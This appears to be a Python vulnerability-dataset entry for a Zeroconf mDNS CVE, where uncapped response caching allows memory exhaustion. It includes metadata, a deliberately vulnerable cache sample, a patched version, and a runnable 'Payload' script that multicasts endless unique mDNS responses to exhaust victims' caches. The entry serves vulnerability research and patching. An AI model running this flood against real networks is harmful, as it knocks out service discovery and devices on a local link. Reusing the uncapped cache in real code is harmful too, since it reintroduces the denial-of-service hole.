CVE-2026-47184
Uncapped caching of mDNS responses in Zeroconf can lead to memory exhaustion.
- CVSS 6.5
- CWE-770
- Resource Management
- Remote
Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.7, DNSCache._async_add inserted every response record into cache, _expirations, _expire_heap, and service_cache without a cap, allowing unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb) to multicast valid mDNS responses with unique names and cause memory exhaustion, slower cache lookups, slower async_expire passes, and broken discovery, registration, and ServiceBrowser callbacks. This issue is fixed in version 0.149.7.
- CWE
- CWE-770
- CVSS base score
- 6.5
- Published
- 2026-07-17
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- Zeroconf
- Fixed by upgrading
- Yes
Solution
Upgrade Zeroconf to version 0.149.7 or later.
Vulnerable code sample
import heapq
import time
from typing import Dict, List, Set, Tuple
# Dummy classes to represent DNSRecord types for a runnable example
class DNSRecord:
def __init__(self, name: str):
self.key = name.lower()
self.name = name
self.ttl = 60
def is_expired(self, now: int) -> bool:
# Simplified for example
return self.get_expiration_time() <= now
def get_expiration_time(self) -> int:
# Simplified for example
return int(time.time() * 1000) + self.ttl * 1000
def __eq__(self, other):
return isinstance(other, DNSRecord) and self.key == other.key
def __hash__(self):
return hash(self.key)
class DNSPointer(DNSRecord):
def __init__(self, name: str, alias: str):
super().__init__(name)
self.alias = alias
class DNSService(DNSRecord):
def __init__(self, name: str, alias: str):
super().__init__(name)
self.alias = alias
# Represents the vulnerable DNSCache class before the fix
class DNSCache:
"""A cache for DNS records."""
def __init__(self) -> None:
self.cache: Dict[str, DNSRecord] = {}
self._expirations: Dict[str, int] = {}
self._expire_heap: List[Tuple[int, str]] = []
self.service_cache: Set[str] = set()
def _async_remove(self, record: DNSRecord) -> None:
"""Removes a record from the cache."""
if record.key in self.cache:
del self.cache[record.key]
del self._expirations[record.key]
# Note: A real implementation would need to rebuild the heap or handle this more gracefully
self._expire_heap = [(ts, key) for ts, key in self._expire_heap if key != record.key]
heapq.heapify(self._expire_heap)
if isinstance(record, (DNSPointer, DNSService)):
if record.alias.lower() in self.service_cache:
self.service_cache.remove(record.alias.lower())
def _async_add(self, record: DNSRecord) -> None:
"""
VULNERABLE IMPLEMENTATION: Asynchronously adds a record to the cache without a size limit.
"""
now = int(time.time() * 1000)
if record.is_expired(now):
return
# Remove the old entry if it exists
self._async_remove(record)
# Add the new entry to all internal data structures without any cap
self.cache[record.key] = record
expiration = record.get_expiration_time()
self._expirations[record.key] = expiration
heapq.heappush(self._expire_heap, (expiration, record.key))
# Add to service cache
if isinstance(record, (DNSPointer, DNSService)):
self.service_cache.add(record.alias.lower())Patched code sample
import logging
from typing import Dict, Any
# Represents the default maximum size of the cache.
DNS_CACHE_MAX_SIZE = 10000
# Mock logger for demonstration purposes.
_LOGGER = logging.getLogger(__name__)
class DNSCache:
"""A simplified DNS cache demonstrating the CVE fix."""
def __init__(self, max_size: int = DNS_CACHE_MAX_SIZE) -> None:
"""Initialize the cache with a maximum size."""
self._cache: Dict[str, Any] = {}
self.max_size = max_size
def __len__(self) -> int:
"""Return the number of entries in the cache."""
return len(self._cache)
def _async_add(self, record: Any) -> None:
"""
Add a record to the cache.
This method contains the fix to prevent memory exhaustion by
enforcing a maximum cache size.
"""
# --- FIX STARTS HERE ---
# The vulnerable version lacked this check. The fix introduces a guard
# to ensure the cache does not grow indefinitely.
if len(self) >= self.max_size:
_LOGGER.warning(
"DNS cache is full, max_size is %s, not adding %s",
self.max_size,
record,
)
# If the cache is full, do not add the new record and exit the method.
return
# --- FIX ENDS HERE ---
# Original logic to add the record to the cache proceeds here only if
# the cache is not full.
key = str(getattr(record, 'name', '')).lower()
if key:
self._cache[key] = recordPayload
import socket
import time
import uuid
from zeroconf import ServiceInfo, DNSOutgoing
# Configuration for the malicious payload
MDNS_MULTICAST_ADDR = "224.0.0.251"
MDNS_PORT = 5353
SERVICE_TYPE = "_http._tcp.local."
# This can be any IP; it doesn't need to be real for the memory exhaustion to work.
FAKE_SERVICE_IP = "192.168.1.1"
def create_exploit_packet():
"""
Creates a valid mDNS response packet with unique service and server names.
This is the core of the exploit. Each packet contains a new, unique service
that the vulnerable zeroconf instance will cache indefinitely.
"""
unique_id = uuid.uuid4().hex[:12]
instance_name = f"exhaust-{unique_id}"
full_service_name = f"{instance_name}.{SERVICE_TYPE}"
server_name = f"{instance_name}.local."
# Use Zeroconf's own classes to build a valid ServiceInfo object.
service_info = ServiceInfo(
type_=SERVICE_TYPE,
name=full_service_name,
addresses=[socket.inet_aton(FAKE_SERVICE_IP)],
port=80,
server=server_name,
)
# Create an outgoing DNS response packet. Flag 0x8400 indicates a standard,
# authoritative mDNS response.
now = time.time()
out = DNSOutgoing(0x8400)
# Add all relevant records to the packet. The vulnerable cache will store
# all of these, maximizing the memory consumed per packet.
out.add_answer_at_time(service_info.dns_pointer_record(now), now)
out.add_answer_at_time(service_info.dns_service_record(now), now)
out.add_answer_at_time(service_info.dns_text_record(now), now)
out.add_answer_at_time(service_info.dns_address_record(now), now)
return out.packet()
def main():
"""
Sets up a socket and sends a continuous stream of malicious mDNS packets
to the local network's multicast address.
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print(f"[*] Sending malicious mDNS announcement packets to {MDNS_MULTICAST_ADDR}:{MDNS_PORT}")
print("[*] Each packet advertises a new, unique service to exhaust victim's cache.")
print("[*] Press Ctrl+C to stop.")
try:
count = 0
while True:
packet = create_exploit_packet()
sock.sendto(packet, (MDNS_MULTICAST_ADDR, MDNS_PORT))
count += 1
# A minor delay to avoid flooding the sender's own network buffer instantly
time.sleep(0.01)
if count % 100 == 0:
print(f"[*] {count} unique service packets sent...")
except KeyboardInterrupt:
print("\n[+] Attack stopped.")
finally:
sock.close()
if __name__ == "__main__":
main()
Cite this entry
@misc{vaitp:cve202647184,
title = {{Uncapped caching of mDNS responses in Zeroconf can lead to memory exhaustion.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-47184},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47184/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
